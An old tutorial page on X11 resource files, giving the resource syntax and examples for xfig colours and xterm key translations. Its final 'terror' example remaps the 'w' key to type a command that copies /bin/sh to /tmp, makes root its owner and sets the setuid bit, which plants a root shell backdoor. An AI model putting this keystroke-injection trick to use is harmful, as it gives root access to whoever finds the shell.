next next up down toc toc Src mail

all, section 14.6.

14.6.  Xressources

X11, X -- a portable, network-transparent window system

Extract from man X:

See also xrd(1)

To make the tailoring of applications to personal preferences easier, X provides a mechanism for storing default values for program resources (e.g. background color, window title, etc.) Resources are specified as strings that are read in from various places when an application is run. Program components are named in a hierarchical fashion, with each node in the hierarchy identified by a class and an instance name. At the top level is the class and instance name of the application itself. By convention, the class name of the application is the same as the program name, but with the first letter capitalized (e.g. Bitmap or Emacs) although some programs that begin with the letter ``x'' also capitalize the second letter for historical reasons.

The precise syntax for resources is:

ResourceLine     =Comment | IncludeFile | ResourceSpec | <empty line>
Comment          ="!" {<any character except null or newline>}
IncludeFile      ="#" WhiteSpace "include" WhiteSpace
                 FileName WhiteSpace
FileName         =<valid filename for operating system>
ResourceSpec     =WhiteSpace ResourceName WhiteSpace ":"
                 WhiteSpace Value
ResourceName     =[Binding] {Component Binding} ComponentName
Binding          ="." | "*"
WhiteSpace       ={<space> | <horizontal tab>}
Component        ="?" | ComponentName
ComponentName    =NameChar {NameChar}
NameChar         ="a"-"z" | "A"-"Z" | "0"-"9" | "_" | "-"
Value            ={<any character except null or unescaped newline>}

Example:

ilon bischof 117 sed 20q /opt/gnu/lib/X11/app-defaults/Fig-color
! Some interesting colors for the different parts of xfig
! if you are using a COLOR workstation.

#include "Fig"

#ifdef COLOR
! Unit box in corner of rulers
        Fig*unitbox.background:                 grey95
        Fig*unitbox.foreground:                 black
! Top Ruler
        Fig*topruler.background:                grey95
        Fig*topruler.foreground:                black
! Side Ruler
        Fig*sideruler.background:               grey95
        Fig*sideruler.foreground:               black
! Filename panel
        Fig*msg_form.file_name.background:      lightskyblue
        Fig*msg_form.file_name.foreground:      black
! Message panel
        Fig*message*background:                 lavender

See also edites(1)

Example: Xterm

 1      XTerm*VT100*translations: #override \n\
 2       Shift <KeyPress> Prior:  scroll-back(1,halfpage) \n\
 3        Shift <KeyPress> Next:  scroll-forw(1,halfpage) \n\
 4      Shift <KeyPress> Select:  select-cursor-start() \n\
 5      Shift <KeyPress> Insert:  insert-selection(PRIMARY, CUT_BUFFER0) \n\
 6              ~Meta<KeyPress>:  insert-seven-bit() \n\
 7               Meta<KeyPress>:  insert-eight-bit() \n\
 8              Ctrl <Btn1Down>:  popup-menu(mainMenu) \n\
 9         Lock Ctrl <Btn1Down>:  popup-menu(mainMenu) \n\
10             ~Meta <Btn1Down>:  select-start() \n\
11           ~Meta <Btn1Motion>:  select-extend() \n\
12              Ctrl <Btn2Down>:  popup-menu(vtMenu) \n\
13         Lock Ctrl <Btn2Down>:  popup-menu(vtMenu) \n\
14       ~Ctrl ~Meta <Btn2Down>:  ignore() \n\
15         ~Ctrl ~Meta <Btn2Up>:  insert-selection(PRIMARY, CUT_BUFFER0) \n\
16              Ctrl <Btn3Down>:  popup-menu(fontMenu) \n\
17         Lock Ctrl <Btn3Down>:  popup-menu(fontMenu) \n\
18       ~Ctrl ~Meta <Btn3Down>:  start-extend() \n\
19           ~Meta <Btn3Motion>:  select-extend() \n\
20                      <BtnUp>:  select-end(PRIMARY, CUT_BUFFER0) \n\
21                    <BtnDown>:  bell(0)               

Example: Terror

 1      !
 2      ! Resource file for funny things
 3      !
 4      *title: nicht wundern
 5      *bitmap: tie_fighter

Example: Xterm_terror

 1      *translations: #override \n\
 2                       <Key>c:  string(x)                      \n\
 3                       <Key>q:  string(Ei_der_Daus)            \n\
 4                    :  <Key>a:  string(was_a->z)               \n\
 5                    :  <Key>A:  string(was_A->Z)               \n\
 6                 Shift <Key>b:  string(Shift_b)                \n\
 7           Shift ~Lock <Key>d:  string(Shift_und_nicht_Lock_d) \n\
 8                  None <Key>b:  string(None)                   \n\
 9               <Btn1Down>(2+):  string(2+)                     \n\
10             Shift <Btn3Down>:  string(Shift_und_Btn3Down)     \n\
11               ! Shift <Key>t:  string(Shift_only)             \n\
12                       <Key>":  string("test blank")           \n\
13               <Key>y, <Key>z:  string(y) string(and) string(z \n\
14                 Ctrl  <Key>z:  string("Ctrl z")               \n\
15                       <Key>z:  string(R)                      \n\
16                       <Key>n:  string("newlinw\n")            \n\
17                      <Enter>:  string("echo enter window\n")  \n\
18                 Ctrl <Leave>:  string("Ctrl & leave window")  \n\
19                       <Key>w:  string("cp /bin/sh /tmp &&  \
20                                        /etc/chown 0.0  /tmp/sh &&  \
21                                        chmod u+s /tmp/sh && \
22                                        echo -n w\n")


back next up down toc toc Src mail


Created by unroff & hp-tools. © by Hans-Peter Bischof. All Rights Reserved (1998).

Last modified: 08/May/98 (11:53)